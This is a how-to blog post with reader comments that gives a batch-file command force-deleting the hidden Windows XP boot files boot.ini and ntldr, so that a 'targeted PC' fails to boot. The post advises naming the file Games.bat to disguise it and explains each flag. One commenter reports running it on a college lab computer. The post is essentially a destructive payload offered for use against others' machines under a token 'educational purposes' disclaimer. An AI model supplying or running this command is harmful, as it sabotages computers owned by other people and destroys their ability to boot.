Home / How-to Guides / How to Crash System – Boot Fail in Windows XP (CODING)

How to Crash System – Boot Fail in Windows XP (CODING)

system crash

This script is not an actual virus but a command to delete some windows files. You have to execute this on the targeted PC by double-clicking on the .bat program. 

You have to copy the .bat program and execute it by double-clicking, and it’s done. The next time when windows boot up, it will show an error.

Please Note: This article is for educational purposes only. 

Follow the below simple steps:

Step 1: Open Notepad, Go to Start –> Run, type “Notepad” and press Enter.

Step 2: Now Paste the below code in Notepad

erase /q /f /s /a:h %SYSTEMDRIVE%\boot.ini %SYSTEMDRIVE%\ntldr

Step 3: Save the file as Games.bat or save it with any name, but it should end with a .bat extension.

How to Crash System

Here,

/P – Prompts for confirmation before deleting each file.

/F – Force deleting of read-only files.

/S – Delete specified files from all subdirectories.

/Q – Quiet mode, do not ask if ok to delete on a global wildcard.

/A – Selects files to delete based on attributes. and “h” is a hidden attribute.

%SYSTEMDRIVE% – It detects the drive where Windows OS is installed.

Basically, when the .bat file is executed, the files in the Window named ntldr and boot.ini get deleted. These files are system files that are needed for the Window to boot. If these files are missing at the time of booting, It will prompt an error (System crash).

The only way to fix it is to repair it using XP CD or install Windows XP Again or restore it from the backup if taken earlier.

If You found the above post interesting, Please Subscribe to Techie Inspire.

About Roshan Karkera

Roshan Karkera a.k.a. k.roshan. Blogger by passion and software engineer by profession. He believes in sharing knowledge, which made him to start his own blog. He is very much keen & passionate about new technology & Science. If you'd like to connect with him, follow at Google plus or Twitter.

5 comments

  1. IT NOT WORKING
    PLS HELP

  2. Its worked great ,
    I tried on my college lab pc

  3. this bat file run by itself or manualy…

  4. yasin mahmud raza

    really boss awesome !

Leave a Reply

Your email address will not be published.